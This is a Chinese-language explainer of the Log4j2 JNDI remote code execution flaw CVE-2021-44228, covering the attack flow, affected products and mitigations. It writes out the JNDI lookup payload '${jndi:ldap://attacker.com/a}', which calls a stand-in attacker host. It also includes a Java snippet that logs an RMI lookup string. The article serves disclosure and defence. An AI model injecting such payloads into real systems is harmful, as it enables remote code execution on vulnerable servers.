栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Log4j2安全 JNDI漏洞 CVE-2021-44228

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Log4j2安全 JNDI漏洞 CVE-2021-44228

 

Apache Log4j2是基于Java的日志记录工具。工具重写了Log4j框架,并且引入了大量丰富特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。因该组件使用极为广泛,利用门槛很低,危害极大,腾讯安全专家建议所有用户尽快升级到安全版本。

12 月 10 日,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,漏洞原理官方表述是:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词  ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行,据悉,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。已知受影响应用及组件:

  • Apache Solr
  • Apache Flink
  • Apache Druid
  • srping-boot-strater-log4j2

漏洞详细描述
  • 攻击者向漏洞服务器发起攻击请求。

  • 服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载${jndi:ldap://attacker.com/a},attacker.com是攻击者控制的地址。

  • 记录的恶意负载被触发,服务器通过JNDI向attacker.com请求。

  • attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class。

  • 攻击者执行恶意脚本。

例如

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Test {
    private static final Logger LOGGER = LogManager.getLogger(Test.class);

    public static void main(String[] args) {
        String code = "${jndi:rmi://localhost:9001}";
        LOGGER.info(code);
    }
}

 执行日志处理时会lookup处理,lookups是一个Map集合,初始化了一组Key, 当消息内容种包含指定字符的时候,使用StrLookup对象执行lookup操作

 

 处理的时候调用 jndiManager执行字符串后边部分,例如 rmi://localhost:xxxx

 

修复方案

据 Apache 官方最新信息显示,release 页面上已经更新了 Log4j 2.15.0 版本, 建议升级log4j版本

临时方案

(1)修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
(2)修改配置 log4j2.formatMsgNoLookups=True
(3)将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/665923.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号